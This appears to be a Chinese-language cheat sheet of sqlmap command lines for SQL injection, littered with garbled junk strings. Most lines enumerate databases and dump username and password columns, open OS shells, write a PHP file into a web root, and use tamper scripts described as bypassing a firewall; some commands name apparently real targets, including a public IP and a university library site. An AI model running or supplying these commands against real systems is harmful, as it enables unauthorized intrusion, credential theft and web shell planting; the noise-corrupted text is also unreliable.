sqlmap使用实例

admin

/pentest/database/sqlmap

5 m; L! X$ m, J$ ]3 F8 i, H( s/ rupdate :::::>     in the folder   after  execute    following   order : svn update
9 d  ]3 ^# x) _3 U( }' o
sqlmap.py -r 1.txt --current-db
+ \7 K: t$ u1 |6 |% i
* ^* h6 x% D9 E' V6 a8 `9 }3 c: Dv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”

3 ^+ L$ `% _1 z0 B' G==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
猜解数据库
./sqlmap.py -u "injection-url" --dbs
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"

猜解表名
./sqlmap.py -u "injection-url" -D database_name --tables

. p) n/ O$ U/ m- w5 G* |# Z6 Zsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
1 ^/ p4 x& v6 I( [- G% Psqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
; u; h% k: y: n" t8 g' W5 T+ s& }
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
5 s- m+ j% L  U4 b- Q. Y
; O7 m1 @: F2 C- Jsqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
5 B& f* m0 W1 h/ T* c+ Ysqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"

" Z. ?# i6 B3 b/ s5 isqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
. z7 U$ ?5 ^( f5 dsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
! C- j$ T) R& I3 O4 u2 jsqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
# w9 q, w' F- i' g4 `. b9 Z
. K: I; c% `2 t( l! j$ J+ q0 t! Wsqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"

sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
猜解列名
( e& F6 s% W9 M( m! z5 e$ h; c5 p./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
7 Q1 e; @! x8 G9 R& Z2 ~& ]
) B$ n2 e2 z, [; O3 l/ b% {sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
1 |  y* A& [& ]1 j* ?) ]sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"

sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
- \) Q' V* u2 z: L: T7 c6 r: j/ d8 z&submit=Go
4 o  e* W% {5 r. w# x) A猜解值
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
& ?$ c* D7 i6 ]8 d; P========================================================
# b: _; |! X( F1 g搜索表名中包括mana字符的
/sqlmap.py -u "injection-url" -T mana --search
返回一个交互式sql shell
& k: J$ ~; f, r/ n8 K$ J/sqlmap.py -u "injection-url" --sql-shell
读取指定文件（需权限）
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
查看当前 用户 及 数据库
/sqlmap.py -u "injection-url" --current-user --current-db
" x1 n9 y" N' E* Y本地文件 写入 远程目标绝对路径
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
" x& c5 l: D9 M( v8 [- d7 Tsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
! o" R" R2 B: P2 i( ?2 ?0 `+ k
$ R2 F" i/ R, _5 `( msqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
% G( Z/ n8 {( X' ]查看某用的权限
. e8 R3 i0 I  r/sqlmap.py -u "injection-url" --privileges -U root
查看当前用户是否为dba
/sqlmap.py -u "injection-url" --is-dba
' B0 L# _# N+ s. ?$ |; t1 P: ^读取所有数据库用户或指定数据库用户的密码
sqlmap.py -r 1.txt --users --passwords
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
: m# ^- a9 x* O2 ]% E, H8 F
* {! }! }# k. j4 L5 W: Y/sqlmap.py -u "injection-url" --passwords -U root

--start&&--stop 与 --first&&--last 的区别
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   （--start=1 --stop=2 会列出第二条记录。。。。记录例如：0 1 2 3 ……）
- D; X; e# ~/ d$ G% F4 E
  B0 I  D* g( O' p: R* n# Y- y从字典中查找(属于暴利破解)存在的表（sqlmap/txt/common-tables.txt）或字段（sqlmap/txt/common-columns.txt）
  N/ v! V; A- v1 j9 k5 j/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns

, Y2 Q+ a! U( M( K( M执行sql语句，如查询@@datadir得到数据库路径（或者user()/database()等等……）
% H8 k- w' Q& }  Z6 ~4 ?) j$ C/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"

1 R7 G0 j8 B4 E